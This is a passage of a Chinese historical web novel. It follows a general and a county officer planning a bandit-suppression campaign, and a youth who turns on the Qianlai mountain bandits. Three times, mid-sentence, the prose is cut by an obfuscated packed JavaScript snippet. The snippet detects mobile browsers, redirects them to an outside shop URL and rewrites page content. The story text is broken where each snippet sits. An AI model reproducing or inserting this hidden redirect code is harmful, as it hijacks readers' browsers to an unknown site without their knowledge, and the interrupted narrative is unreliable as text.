众所周知,薛霁虽贵为大兴王爷,是小皇帝堂兄,但因先皇遗诏与那至高无上的皇权错肩之后,落在他身上的唯有承袭的幽王名号,尊贵但实在无用,天下百姓都看出他的心有不甘,因而在唾骂中默许了他贪赃枉法的不义之举,毕竟人家身为皇亲国戚,没有权,总得捞些钱财傍身。 而慕峰青就不同了,映月一战天下闻,年纪轻轻就凭那场战役官拜征北大将军,并执掌赤霄军大权,慕名而来追随的兵士数不胜数、一呼百应,真真是将叱咤风云、权倾天下这话演绎得淋漓尽致。 倘若先皇还在,这两人是决不可能凑在一起的,但如今这两人非但凑在一起,还凑得合情合理,王羌曹原本还为自己和这帮兄弟能跟着慕峰青当差倍感荣幸,可不知怎的这几天趴在草窝里总觉得有些心慌。 跟着岑虎来到一处用爬墙虎掩护的简易军帐,王羌曹一眼就看见身着便装的慕峰青正在其中低头注视着铺在桌上的山地图。 集结那日,兵士众多,人人脸上不是激动兴奋就是因奔波跋涉而显得急促慌乱,他们一行人单势弱,被安排在队列最后,只能远远看见站在点将台的慕峰青一身银白军甲气势如虹的高声喊话。 但那会儿人太多,距离又太远,慕峰青长得什么模样、说的什么话他们啥都没看清听清,手下几个兄弟为此还拍腿遗憾好半晌,而今日,这个为天下人敬仰的大将军近在自己眼前时,王羌曹才真正看见这位名扬中北的征北大将。 “将军,王县尉到。” 岑虎行完礼,转身将跟在后面的王羌曹礼让在前,慕峰青闻声抬首见人已经带到,立即热络地虚揽王羌曹入座。 “我近来事务着实有些繁忙,直到今日才得空与王县尉见上一面,不知王县尉在这深山老林中办差是否习惯,若哪里有不称心的都可与我详说。” 一位朝廷新贵就算再礼贤下士,也没必要与一个小县尉如此客气,王羌曹终于明白上面为何会让安南县衙参与这次剿匪,他立即起身向慕峰青拱手,惶恐道,“为朝廷尽忠,对将军尽力,下官何德何能敢请慕将军如此照拂。” 慕峰青笑了笑,按下王羌曹行礼双手,“我常年带兵在外,对这虔来山脉知之甚少,朝中虽派幽王殿下协助于我,可殿下身份贵重又病体缠身实在不便进山在这里受罪,幸而兵部尚书王启王大人不忍留我一人东捞西摸,私下又向我推荐了一位智勇双全,有勇有谋之人,我打听过后才知晓这人是靠自己一身过人本领才得以在安南县衙担任县尉一职,不久前还在安南书院遇匪时护佑一众师生平安,并生擒十数位虔来山土匪,王县尉,你既熟悉虔来山一脉地形,又与虔来山土匪交过手,请你带人前来不是我照拂你,而是需要你关照我啊。” 慕峰青用人前虽然也做了一番调查,可是并没有深入筛查过安南县衙里的可疑之人,这也就是说,他并不知晓中北的官府衙门里或许已经混进了北漠奸细,自己报给安南知县庹尼敖的消息要么是那个鸵鸟精隐瞒了朝廷,要么就是朝廷隐瞒了百姓,王羌曹料想庹尼敖的小胆子藏不了这么大的事,那便是…… 朝廷有意用剿匪之行将此事揭过了? 王羌曹支吾道,“说是与虔来山土匪打过交道,生擒了十数土匪,不过是沾了安南书院夫子与诸多聪慧学生的光,而且生擒的那些土匪中有一半人在牢中杀了另一半人后全数自尽,一个活口都没留下,不被治罪已是下官福大命大,若您要用关照一词顶替将功折罪,那可真是折煞下官了。” 安南书院遇匪一事慕峰青在调查王羌曹时略有耳闻,不过,他同其他听说这事儿的人想的一样,一帮半大孩子如何是持刀土匪们对手,大多是这骇人的消息传来传去,传的没边了。 朝中官员无论大小都惯会溜须拍马,慕峰青并没有将王羌曹这些客套话放在心上,他看向铺盖在桌上的地形图,正声道,“咱们如今并肩作战,那些见外的话便就此打住罢,王县尉,你且来看这幅虔来山地形图有何不妥?” 王羌曹顺着他手指的地方看去,发现这图中沟谷坡度,呈脉状分布,沟壑之间有重叠、有交错,十分清晰,但是图上四周并无制图六体中任一一体,因而无法让人得知如何放置此图才能分辨各处分布的具体方位,他嘶了一声,纳闷,“这地形图绘制的极为清晰,可绘图之人为何不将山脉名称与图像方位标记其上?” 慕峰青问,“王县尉曾着人巡查过安南至虔来两山,认不出这是虔来山地形图么?” “这是虔来山?”王羌曹围着方桌转了好几圈,才在慕峰青对面站定,“这是虔来山。” 慕峰青绕到王羌曹旁边,听他又说,“虔来山脉连绵不绝、坎坷盘绕,恐怕在那山中窝了数十年的土匪也不敢说自己对其中每条小径都了如指掌,何况我们这些只敢在商队常走的路上巡查之人。” “那你如何确定这图所绘正是虔来山?” “将军请看,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888117|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你我所站方向看去,这里有一处状似虎豹之首的山头,虔来山土匪几乎都是不识字的莽夫,他们想不出什么威武响亮的山寨名号,故而大多都依据所占山头扎寨起名,像这座山头下驻扎的两个寨子,就分别叫威虎寨与豹子山,距离两个山寨百里外这处上宽下窄之地中的山寨叫黑鹰岭,旁边有一洼地,便是刀客谷,虔来山中虽说有数不清土匪窝,可叫的响亮的只有这四家,只是…这些山寨据点十分隐蔽,往年朝廷派重兵攻打也摸不到深处,下官所知的山寨分布消息还是从掏钱买路的商队与镖行口中听到的,慕将军是如何有这般详细虔来山地形图?” “这图是幽王送来的。” 幽王? 他没事研究虔来山地形作甚? 是想在求医问药时翻山抄个近道? 还是为招兵买马时进山藏个暗哨? 王羌曹干笑两声,“难怪幽王殿下不进山,有了这图任谁都能摸清虔来山,他又何必再来跑这一趟。” “报!” 帐外有一小兵低语,岑虎侧身问他,“何事?” “幽王殿下派人送了供给过来,此时正在山底等着。” “岑虎,你带人速去迎他,清点无误后直接给轮班的兄弟们分发便是。” “是!” 岑虎领命转身出去,慕峰青又问小兵,“幽王这回派了多少人过来?” 小兵答,“见了,只有两人。” “两人?”王羌曹疑惑,“两千余人的口粮,就派两个人送来?这是人手不够还是东西太少啊?” 小兵说,“属下扫了一眼,来的车……并不少。” 王羌曹看向慕峰青,见他沉吟片刻,而后道,“带我过去瞧瞧。” 山里天黑的快,刚过傍晚饭点,月亮便徐徐爬上枝头。 虔来山一处僻静山谷的草丛中,没有风,却发出一阵窸窸窣窣的声音,发出这声音的手见连在树上打盹的麻雀都惊动不了时,将才从怀里掏出的白饼一分为四后把其中两块递给趴在自己身后之人。 “伍二哥、郑四哥吃饼。” 姜九张嘴用气声喊自己的大哥接饼,而只用胳膊肘怼了怼身边的初小哥,“给。” 初小哥:“多谢。” 四人边吃边紧盯着前面一条上山小径,初小哥问,“天色已暗,这条路上还会有往来路人么?” 他们已经才这里等了好几个时辰,可是半个鬼影都没见着,初小哥问出这话本来没有恶意,但听在姜九耳朵里倒像是怀疑他们连这点儿看家本事都没有,于是呛声,“我哥哥们领你去哪儿你只管悄声趴在哪儿,哪来那么多废话,你土匪还是我们是土匪啊!” 伍二蹙眉在他脑袋上拍了一掌,扬了扬下巴,低声嘱咐,“闭嘴,有人来了。” 四人一齐朝由远及近的脚步声看去,只见一位背挎包袱,腰间别着一把大斧的汉子脚步轻快的沿路走来,这条上山小径偏僻又曲折蜿蜒,大商队从不在这里经过,土匪又瞧不上在这儿溜达的‘羊肉渣’,故而一些小商小贩常侥幸从此处穿山而过,这汉子大概还没听说朝廷剿匪的动静,不然也不会还独自进山赶路。 看见人,姜九得意地用手指去捅初小哥,“就说有人了,咱们上去办了他吧!” 初小哥仔细观察那汉子四周,说,“再等等。” “等的黄花菜都……” 姜九还没嘀咕完,忽然从那汉子身后跳出五个蒙面壮汉。 此情此景,无需一人多言,那汉子也清楚这几人是要做甚,他没有丝毫犹豫,将身上包袱丢给他们就往反方向跑,为首的蒙面壮汉大吼,“娘来个腿,这么麻利,钱肯定是揣在他兜里了,给老子追!” 就在此时,初小哥起身低语,“按照我下午交代诸位的,各干各的活儿,事成之后只管打,不许出声!” “走!” 69. 眼睛 “走!” 话音落下,三道身影与他同时窜了出去。 姜九率先躬身蹲到初小哥事先算好的位置,紧握住露在土上的一截麻绳首段。 他看准五位蒙面壮汉中跑在前面那人的步子后,甩手用力一扯,浅埋在土里的麻绳便瞬间悬空在路中,跑在前面的壮汉被麻绳绊倒后又绊倒身后紧跟着他的四人,就在他们相互堆叠半天起不来时,郑四在姜九对面桐树上拉下一跟绳索,于是一张捕兽大网又从天而降的将五位壮汉紧紧缚住,网内几人挣扎拉扯却被大网越缠越紧。 领头的蒙面壮汉刚翻过身想看看是谁使出这招黄雀在后,头顶又被人盖了一层煞白大布,初小哥看伍二已将白布铺上,便款款过来把手中早就备好的棍棒递给办完各自事情的其他三人。 四个人东西南北分开站好,笑眯眯相视一眼后抡起棍棒就朝白布用力挥去。 丢了包袱的汉子还没跑出多远,就听见身后有人在呼天抢地的喊救命,那些声音粗壮凄惨、此起彼伏,后面没人追赶,汉子胆子又大了起来,他好奇的躬身躲在一方巨石后侧身回望过去,竟瞧见四个瘦高男子两两相对着举棒猛锤在地上乱拱的白色布袋,直到那布袋逐渐没声了才喘息着停下手来。 像是察觉有人在看他们似的,其中一个腰细肩窄的男子朝汉子躲藏的巨石瞥了一眼,四目相对后居然当没看见他一般又兀自蹲下揭开了白布。 汉子转过身背靠巨石惊恐地吞了吞口水,而后才连滚带爬着悄声跑开。 伍二问,“死了?” 初小哥摇头,“都还有鼻息。” “真被他们说中了,这包袱里就几个铜板。”姜九隔着捕兽网摸出他们抢的包袱翻看后,咒骂一声,“晦气!” 郑四:“忙活儿半天就这么几个铜板,诶你还要这捕兽网作甚?” “这五位身上可不止这几个铜板。”初小哥示意他们搭手揭开大网,挑眉道“你们还愣着做什么,搜啊。” 抢土匪? 三人只面面相觑了一瞬,然后不约而同地分别翻找晕在地上任人摆布的蒙面大汉,他们越翻脸上的喜色就越大,就连平日向来不苟言笑的伍二都勾着嘴角拍着鼓鼓囊囊的胸口,道,“嗨呀,还是这种‘羊’吃着省事。” 躺在地上的壮汉们被扒的只剩底裤,郑四看向站在一旁无动于衷的初小哥问,“初兄弟,你不来点?” 初小哥四下看了一圈,随后在路边弯腰提起一只大斧,那是方才逃跑的汉子在惊慌中遗失的。 “我要这个就成。” 报完该报的仇,解完该解的恨,初小哥带着他们转身离开,郑四捂着高肿的脸颊又踹了其中一位瘫在地上面目全非的壮汉脑袋一脚后赶忙追了上去。 月黑风高山中夜,当那只被踹晃荡的脑壳不再晃荡时,脑壳的主人缓缓睁开自己肿胀的左眼如猎豹捕食般盯着四人的身影渐行渐远。 山底土石树林里,分发完口粮的小兵们将剩余其他供给板车铺上草皮以作遮掩,借着他们手中的微弱灯火,王羌曹捧着手中白花花油亮亮的花卷馍馍,心中有些感叹。 朝廷拨款向来墨迹,每回县里给上面要薪俸都像是要上官命似的,要多少给多少是全然不用妄想的,能在底下人撂挑子不干前发放些零头已是谢天谢地,如今跟着慕峰青办事,虽说环境恶劣了点儿,可是能吃喝不愁也算是过着好日子了。 花卷馍馍上的油星在忽闪灯光中越发诱人,可王羌曹看顶头大上司都还没张嘴自己也不好意思大快朵颐,他小心将手中馍馍包好塞进衣兜,走到慕峰青身侧。 “剩下的口粮足以支撑三至五日,高寒临走时还说,下一批供给也在准备着了,他家主子身子不好进不了山,唯有在这些小事上多操些心了。”岑虎昂扬又道,“将军,眼下供给充裕,只要严守进出山这条必经之路,看那些山中土匪能与咱们耗到几时!” 两千余人按兵力来说不算多,但要是按等着吃饭的嘴来数就不算少了,能在如此仓促的行动中筹备到足够充裕的口粮,那位幽王还真是财大气粗啊。 慕峰青感叹完,背手看着往来忙碌的小兵们忽然想起了什么,问,“清点供给时,我见你并未与那位叫高寒的说过几句话,怎么?此次运送供给一事幽王不是全权交予他来办的?” 岑虎想了想,答,“高寒是幽王亲信,外头跑的差事大多都是他干的,不过……下午他们赶着粮车过来时,高寒只是与我打了个招呼,剩下的活儿都是随他过来的另一位小哥跟着兄弟们忙前忙后的,只是听说姓范,话不多,人既谨慎又麻利,大概是幽王手下新提上来的罢。” “你可注意到,高寒在清点供给时去哪了……” “啊!” 一声男子的绝望惊叫忽然从不远处传来,王羌曹听见喊声立即拔刀循声冲了过去,没一会儿便同几个小兵押解着一个有气无力、满脸泪痕的汉子过来。 说是押解,可岑虎刚看左右挎着汉子的小兵将胳膊抽出来,就见他软着腿一摊烂泥似的扑倒在地。 “你是何人!为何在深更半夜从虔来山中下来!” 岑虎高声询问,那汉子却目光呆滞,久久说不出话来,王羌曹见多这样被吓坏的目击证人,上前‘啪啪’在他脸上甩了两个响亮的巴掌,汉子懵了一下,抬头看清自己四周围着的皆是身着官府制服之人,终于扯着嗓子嚎哭起来。 “小的是安南庄人士,这些年常来往兴民城做些小生意,今日夜攀虔来山,不过是想循着偏僻小路抄近道回家,以前总去的那条路无论什么时候都无事发生,可今夜……今夜小的好端端的遇上了两拨土匪,要不是小的跑得快,恐怕……呜呜呜……就没命见着各位官爷了…呜呜呜…” 两拨土匪? 慕峰青问,“都说虔来山土匪凶狠,你如何能从土匪还是两拨土匪手里跑出来?” 汉子又想起那双手握棍棒的冷厉眼眸,哆嗦说,“那两拨土匪不是分开拦我的,是先有几个蒙面壮汉要抢我,我将包袱丢给他们后转身就跑,然后才有另一拨土匪跳出来。” 岑虎:“跳出来又将你抢掠一通?” 汉子摇头,“不,没抢我,他们抢了那几个蒙面壮汉,天黑,小的也没看清,后跳出来的那群人将蒙着面的那群人蒙头打了一顿,小的趁他们动手才悄悄溜走,一口气从山那头跑到了山这头,原以为自己平安逃脱,不想又在山下看见此处有火光,还以为又遇上土匪今夜铁定要交代到虔来山了。” 土匪抢了土匪? 王羌曹和岑虎瞪着眼睛互相看了一眼后,同时望向了慕峰青。 周围人的视线此刻都落在慕峰青身上,那些期颐灼热的眼神好似滚烫的沸水透过衣物扎的他浑身刺痛,原先在军中,坦然站在众人面前接受质问或求助的人是慕初,而他要做的唯有将慕初想出的法子安排交代下去便可,怎么如今只不过是在慕初的位置上站着而已,仅就是这些目光都叫他喘不上来气呢。 “岑虎,带他去填填肚子,待他心绪稳定后再详细询问那两拨土匪的身形特征与山中详细情况。” “是!” 岑虎带人将汉子拖走,慕峰青看向了王羌曹,“王县尉,你此前可曾听说过这虔来山各寨土匪不睦的消息?” 王羌曹回忆片刻,答,“虔来山中路径四通八达,各个山寨大多都在自己的一亩三分地上拦路做生意,向来都是井水不犯河水,我听常在山中过路的镖行当家说,只要向叫得出名号的寨子缴钱,收了钱山寨当家就会派人沿路护送,经过谁家地盘,塞些买路银子意思意思也就顺利过去了,他们各寨之间瞧着都是和和气气的,没听谁说他们有什么不睦的。” 大寨子吃肉,小寨子怎么着也能跟着捞些油水,怎么自己才带人在此处蹲了几天,山里就开始黑吃黑? 这也太快了。 身边无人商议,慕峰青心里有些慌乱,他见王羌曹还在等自己询问,于是松了眉头,与他说,“我晓得了,今日劳烦王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888118|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县尉与我解答疑惑,时候不早了,王县尉快快轮值歇息去吧。” “都是下官应该做的,慕将军您先忙,下官就先行告退了。” 王羌曹从爬墙虎军帐钻出来,走向不远处临时搭建的行军草帐,刚坐下身边就有县衙一众小子凑过来兴奋地小声询问。 “头儿,那慕将军长得咋样?俊不俊?” “头儿,你都跟慕将军说什么了,到这会儿才回来?” “头儿,慕将军是不是跟传闻一样神机妙算、豪爽嚣张?” “头儿,慕……” 王羌曹将他们推搡开,佯呵,“去去去,大晚上不睡觉跑我这儿瞎搅和什么!” “我都跟县衙里的兄弟说要跟着慕将军办差了,可这都好些天了,要干啥不知道,慕将军也没敢凑近去瞧,回去可怎么跟他们吹啊,头儿,咱们这里面,就您最出息了,能得慕将军亲自邀见,快和弟弟们说说,不然哥几个今晚真是睡不着啊。” “你们问这么多倒是想让我先说哪个?” “我曾听人家说慕将军是玉面铁腕,我等实在好奇他究竟长得像不像征战沙场的铁血将军?” 闻言,王羌曹开始细细回忆初见慕峰青时的所见所闻,“他今日没穿军甲,身形瞧着十分清瘦,长得倒是不错,要是不知道他的身份,恐怕会将他认成是哪家高门大户的矜贵少爷,不过咱也没有真上过战场,哪里晓得征战沙场的铁血将军应该长什么模样。” “那能在马背上拉弓,敢在敌军中劈砍之人眼中的凶狠与锐利总能看出来吧,头儿,慕将军那双眼睛骇不骇人?” “人家做将军的看敌人凶狠没毛病,可对着自己人哪有那样的,滚滚滚,都快睡去,待会儿夜里还得轮班值守,谁当差时敢犯瞌睡,到我这儿可没有好果子吃!” 王羌曹扬手在他们脑门上一人敲了一下,看他不像开玩笑,衙役们都捂着额头悻悻爬回自己的铺盖。 夜深人静时,王羌曹盘腿坐着,从怀中取出那只油亮的花卷馍馍就着水囊干啃,下意识地咀嚼时突然想起慕峰青听那汉子说虔来山土匪抢土匪后,那双掠过一丝闪躲与慌乱的眼睛。 他虽然没有上过战场,但也知道,那种闪躲与慌乱,不该在一个能在马背上拉弓,敢在敌军中劈砍的将军眼中出现。 啃完最后一口馍馍,王羌曹握着水囊开始仰头大口吞咽,他任由清水从脸颊滑进脖颈,而后舒展着双臂闭眼躺下。 管劳什子应该不应该,他只求今朝水足饭饱今朝睡。 虔来山底,官兵的驻扎之地悄无声息,而虔来山中,威虎寨里却是觥筹交错、灯火通明。 齐威虎举着压箱底的老窖敬向初小哥,“今日得初兄弟相助,为威虎寨报了抢‘肉’之仇,解了伤人之恨,我齐威虎心中感激,先干为敬。” 初小哥没有多说,起身也跟着干了一碗。 两人落座后,齐威虎又道,“初兄弟言出必行,我一定也说到做到,改日便命人将关在后山大牢的知命老道平安送走。” 初小哥说,“山下全是官兵,此行不必让威虎寨兄弟们去冒险,我与那老道患难三日,也算一场缘分,到时就由我将他送出去罢。” 齐威虎哈哈大笑,“不过小事,何须初兄弟费心操劳,再说这山中小路初兄弟并不熟悉,还是让……” “我去!” 楚六从桌前站起,“惩治豹子山小的没有出力,这些庆功酒水至今喝的也不踏实,还是让小的去送老道走吧,就当为前几日的不敬,给初兄弟赔罪了。” 郑四看楚六从他们带着喜讯回来就一直拉着脸,他知道自己这位兄弟见山寨来了个想抢他二当家位置的小子好像真有几分本事,心中怕是有些不痛快,于是也起身道,“大当家的,小的愿与楚六同去,正好我俩结伴也能有个照应。” 齐威虎:“初兄弟你看……” 初小哥再次起身向楚六与郑四拱手,道—— “那便多谢二位。” 70. 机会 威虎寨山牢潮湿,知命老道被带出来后浑身一股子咸菜发霉的酸臭味,众人都不愿意栖身靠近,只有初小哥不见一丁点儿嫌弃的用手巾给他手脸擦洗完,又接过伍二拿来的衣物仔细与他换上。 “快点儿的!到底走是不走?磨磨唧唧跟个娘们似的!” 楚六双手叉腰满脸的不耐烦,郑四啧了一声示意他说话注意些,正好有气没处撒,楚六与他吵嚷道,“咱们送老道回家,又不是送你出嫁,你个死老四穿的跟少爷似的想干啥!” 郑四假意恼火在他肩上拍了一掌,“老子哪天穿的不像少爷!” “嘿!再动手动脚当心老子砍了你的手!” “你是谁老子?臭小子敢没大没小!” 郑四连搂带拉的将楚六揽进怀里掐捏,两人在拉扯玩闹中将在山寨门口低声说话的两人抛在一边。 临行前,初小哥将自己攒下的几块干粮塞进老道的包袱里,道,“我如今也算寄人篱下,这些东西您先将就带着,等下山见了人,您再用本事去挣罢。” 知命不道多谢也不多做推辞,只撑着老腰任由初小哥摆弄,等一切妥当,他从身上摸出一块黢黑似煤炭的东西塞给初小哥,转身避过他看着自己的视线,结结巴巴说,“贫道掐指看相…只收一两…你原先嘱咐友人…付给贫道的,贫道今日也付给你了,钱货两清,今日一别,往后因果便再无瓜葛……娃娃…珍重。” 他说完头也不回地蹒跚就走,初小哥这时才明白躺在手心那块黢黑似煤炭的东西原来是一两银子。 眼看寨子外那三人走远,姜九在大家往回走时特意挤到初小哥和伍二中间,道,“初兄弟,知命老道说话总是神神叨叨的,卜算不准还爱在人前卖弄,他那些话我也听不懂,要是有什么不中听的你也别忘心里去。” 初小哥点头,问他,“既然他卜算不准,那一个穷的叮当响的江湖术士如何能被关进威虎寨的后山大牢呢?” 姜九说,“知命老道可不穷,我们山寨原先的二当家上山落草前就是逮了他才入了我们威虎寨伙儿的,老道那时不知着了安南庄哪个富户家的青眼,竟得了好多金银珠宝当做卦金,他许是没见过那么多钱,揣在包袱里就四处嘚瑟去了,好巧不巧被我们走投无路的二当家遇上,这才被捉上了山呢。” “拿了钱还掳人家老道士作甚?” “你也觉得要一个老头没用吧,我们当时也这么说的,可二当家手下一个叫瘦猴的不肯放,说是他从没听说过只看看别人手心和面相就能知道他们一生命数什么的,瞧着稀罕,想留着玩玩,这才将知命老道锁到了今日。” 初小哥佯装恍然,“我先前听大当家说,二当家那时是因听信谗言才领手底下人去做了一笔不大见得光的生意,这才丢了性命的,莫非谗言就是出自那个卜算不准的老道?” “说是也不完全是,其实我是觉得二当家的事应该都怪他身边那两个手下,瘦猴还有与瘦猴交好的胖冬,他俩都是二当家带回来的人,那个瘦猴有些小聪明,二当家拿他当翻垛的(军师)养着呢,不过瘦猴也确实有些本事在身上,二当家的靠他在山里抢了许多生意,那阵子来投奔我们的汉子从没有断过,威虎寨也因此在虔来山扬了名,瘦猴立了功人便得意起来,经常去后山大牢问那道士去哪个方位能发财,问出以后又总带着胖冬出去‘打野食’,此举虽然不地道,可架不住人家俩有本事能顶起威虎寨的门户,故而大当家与二当家也都是睁一只眼闭一只眼随他们去了,谁知有一天晚上……” 姜九嘴上没个把门的,别人一问自己就噼里啪啦的说了一大堆,直到提及让威虎寨丢了面子那事,他才想起来去看伍二大哥的脸色。 伍二听见这些絮叨也同往常一样没有什么反应,姜九心口一松,继续与初小哥闲聊,“谁知有一天晚上,瘦猴慌张回来说胖冬被人弄死了,大当家为安抚他只说派人去将凶手抓了报仇就是,可瘦猴却不服气,私下在二当家耳边吹风非说要带兄弟去灭人满门,二当家不知道着了什么魔,竟真带了一队人跟他去了,前些日子我在安南山打听了才知晓,他们没有给胖冬报了仇也就罢了,一帮提着刀的大老爷们居然被人家还在念书的娃娃们给连锅端了,一座书院被他们烧毁不说,不知哪位兄弟竟真连累一个学生与自己在虔来山一处悬崖同归于尽了……唉,这些事情哪是顶天立地的汉子能做出来的,我此时同初兄弟说出这些都自觉脸红。” “原来是这样。”初小哥感叹,“那位叫瘦猴的兄弟气性也是大,怪不得能将威虎寨发扬光大,也不知中北什么地方能养出那样的人才。” 姜九冷哼一声,“什么气性大,我看是心眼小才对,他不懂规矩,先惹了人家读书人,胖冬那条命原本是个教训,谁知瘦猴只长头发不长脑子,非要与那些走正道的人结仇,虽说他确实给威虎寨涨了点人气,可就他那帮阴险狡诈、心胸狭隘之人,我不喜很久了,谁管他是从中北什么地方冒出来的。” 问不出什么了,初小哥笑笑再没有接话。 伍二将他带到一处独门独户的窑洞,说,“威虎寨依山而建,挖洞比盖屋舍方便,这地方看着简陋,住进去倒是冬暖夏凉的,初兄弟可别嫌弃。” 初小哥:“这里很好,劳驾二位带我过来。” 姜九也说,“不劳驾不劳驾,主要是前几日让初兄弟受了委屈,咱们大当家的心里过意不去,所以特地给你选了这处清净地方,我们都住的不远,初兄弟要是有什么需要的,只在外头喊一嗓子,肯定立马就有人过来,天色还早,初兄弟先进屋歇着,到用饭的时候我再给你送过来。” “好。” 看他们离开,初小哥打量着四周山体,一眼便看出这山洞坐落在山体易进难出的位置中。 齐威虎这是生怕自己跑了啊。 少年嗤笑一声走进后反手关上了房门。 初小哥在虔来山中凉爽干净的窑洞里休整,好不惬意,而在虔来山下一处连鸟都惊不起来的树林里,一个叼着狗尾草趴在草窝里的年轻男子抬手用指甲扣挠着发痒的后颈。 “嘶!” 他的指甲不长,却因下手没轻没重将蚊虫噬咬的脓包抓破,即使看不着,他也知道自己脖颈那里大概流了不少血。 “白少爷,又见血啦,甭土匪没砍着,咱自己先把自己扣挠的失血而亡啊哈哈……” 白冲被同趴在一处的兄弟打趣也不生气,他用手背在后颈痛痒那处蹭了一下,而后将口中咬着的狗尾巴草呸掉,翻身躺倒在草窝里,唉声叹了口气,“还以为能在虔来山打一场硬仗给土匪放放血呢,谁知道他娘的倒让老子白白给这山里面的蚊子喂了几天血,我估摸着用不了几日,这虔来山的蚊子蚊孙都得给老子叫爹。” “嘿嘿那你可要轻点拍,毕竟这些蚊子蚊孙身上流的可都是你的血。” “嘿你个头!”白冲在他屁股上拍了一掌后将自己的手臂搭在他的后腰,偏头小声问,“柱子,你想不想进山打土匪?” 柱子说,“咱不就在山里准备打土匪么?” “准备个屁!这都几天了,连土匪的影子都没看着!慕将军也不说啥时候开打,我真怕你这乌鸦嘴显灵,连土匪的毛都没摸着自己先被这里的蚊虫咬死!” “呸呸呸,我刚才浑说的。”柱子也翻过来躺下,说,“可是慕将军让咱们在这里盯着呢,你不是最仰慕他了么,好不容易跟着他办差,可不能还跟在兴民城似的乱来,你爹怎么交代你的来着……哦对…要听话。” “要不是跟着慕将军办差,要不是听了我爹的话,老子能在这草窝里乖乖趴好几天!” “就是!趴的我钻进土里都快变成草了!领头的要不是慕将军,谁愿意来遭这份罪!” 周围陆续有人接话,“你们说,这许多天都没有指示,那位是不是也跟前几年朝廷剿匪一样只是来做样子给百姓看的?” “你胡咧咧啥!慕将军率两千兵都能打过北漠数十万大军,要真是做样子虔来山小小土匪哪里配请他出山,这不是给茶壶配瓮盖大材小用了么。” “可是他不是被北漠奸细暗害才好么,许是身子还没好利索不便打杀?要不怎么看上面土匪黑都吃黑了还不趁乱派人去攻?” 确实,慕将军自映月关一战回都受封已经大半年了,听说要不是朝中大臣极力推举,这位大将军还预备在家休养呢,要是他真是身子还没好利索,那是不是说…… 白冲眼睛一亮,招手让在此处闲谈的人聚过来,小声说,“你们猜,这几天会不会是个机会!” 柱子挠头,“啥机会?” “笨!”白冲故作高深的挤着眼睛,“还没想明白么,这一无所获的几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888119|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天正是让胆大心细之人在这两千人里让慕将军正眼相待的机会!” “胆大心细?你是想……” “还是柱子你懂我!我就是这么想的!” 柱子有些为难,“这不好吧……” “反正我是不想在这儿猫着喂蚊子了,你跟不跟我?” 有人纳闷,“什么跟不跟,白少爷你要干什么去?” 白冲:“找土匪啊!就算找不见,上山探探路也总比耗子似的藏在这儿强吧,你不动弹,那立功的机会能砸到你头上么?” 他说的好像有理,柱子点头道,“我跟你去!” “那我也去……” “还有我……” “行行行,盯守这窝不能离人,你们几个在这儿盯着,要是小爷我真立了功,肯定少不了你们一份。” 白冲大方许下承诺后,带着柱子等人钻进半人高的草丛往山路摸去,幸而他们盯守的地方离据点较远,相邻小队一时难以察觉。 一行人蹲着在草丛里走了许久才看见垂着藤条的山壁,白冲撑着发酸的大腿龇牙起身快步走到路中,兴奋说,“前面还有路!沿着石壁走咱们大概就能绕上山了……哎呦!” 头顶上不知有什么东西落下,白冲被砸得眼冒金星,他捂着脑袋揉捏时,柱子看清掉在地上的东西后,惊得大叫一声,“啊!那是!那是……” 砸中白冲的是一条人的右小臂。 撕裂的断臂截面血肉模糊,那鲜红的血肉白骨像是在对目瞪口呆注视着自己的人们说,它刚自由不久。 白冲的头皮与心脏怦怦乱跳,于是他在那些乱跳声中,在诧异看着自己的兄弟的目光中,弯腰将那截断臂拾起,扯着嘴角阴森笑着,“机会这不就来了么。” “断臂是完整的右手小臂,断面整洁,是被人用利器一刀砍下来的,手掌虎口有握刀茧,小臂上衣物里面布料粗糙但是外面这层却十分华贵,这手的主人应该是虔来山土匪。”岑虎放下断臂说,“将军,山上土匪内斗越发激烈了,竟开始要人命了。” 慕峰青坐在高座上没有说话,只是冷冷盯着半跪在草帐外那人。 “回将军,这断臂外层衣物属下曾在兴民城成衣铺子见过,价格不菲,能穿得起一件之人必然不会只穿一件,这断臂主人不是应该,他就是虔来山土匪!” 他的语气激昂,好像他捡回来不是一截断臂,而是俘虏回来一个活生生的虔来山土匪。 “放肆!将军面前岂是你逞能的地方!让你回话了么就多嘴!” 岑虎在军中哪见过这样散漫的兵,气的还要再骂,却见慕峰青抬手止他,只好噤声退至一旁。 “你可知违抗军令、擅离职守在我赤霄军中该当何罪?” 慕峰青的声音让人听不出他心之所想,白冲心知肚明他说的这两样该当何罪,可是张嘴只心虚说,“属下…属下…没在赤霄军当过兵,不知……” 